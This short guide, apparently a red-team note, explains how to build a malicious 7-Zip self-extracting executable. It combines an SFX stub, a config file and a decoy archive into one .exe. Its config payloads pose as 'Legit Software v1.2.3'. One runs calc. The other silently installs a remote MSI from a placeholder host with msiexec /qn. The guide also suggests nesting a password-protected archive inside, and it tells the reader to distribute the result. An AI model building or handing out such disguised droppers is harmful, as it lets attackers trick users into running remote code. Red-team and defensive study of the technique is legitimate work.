- Download and install 7-Zip
- Download and extract the 7-zip extras.
- Create a payload build directory and copy the 7zS.sfx file from extras into it.
- Right-click and 7z archive your decoy payload, move it to a stand-alone payload build directory.
- Craft your payload and save it as config.txt (See payloads below, must be in UTF-8 format) within this payload build directory.
- With cmd.exe binary combine the files,
copy /b 7zS.sfx + config.txt + decoy.7z sfx_payload.exe
- Distribute and test your sfx mayhem carefully.
;!@Install@!UTF-8!
Title="Legit Software v1.2.3"
BeginPrompt="Ready to calculate?"
ExecuteFile="cmd.exe"
ExecuteParameters="/c calc"
;!@InstallEnd@!
;!@Install@!UTF-8!
Title="Legit Software v1.2.3"
ExecuteFile="msiexec.exe"
ExecuteParameters="/i https://example.com/kbc/sketchy.msi /qn"
Progress=no
;!@InstallEnd@!
- The 7z compressed decoy payload cannot be password protected but you could put a password protected archive within it and use
ExecuteFile
or RunProgram
(with the Directory variable) parameters to then open the password protected archive.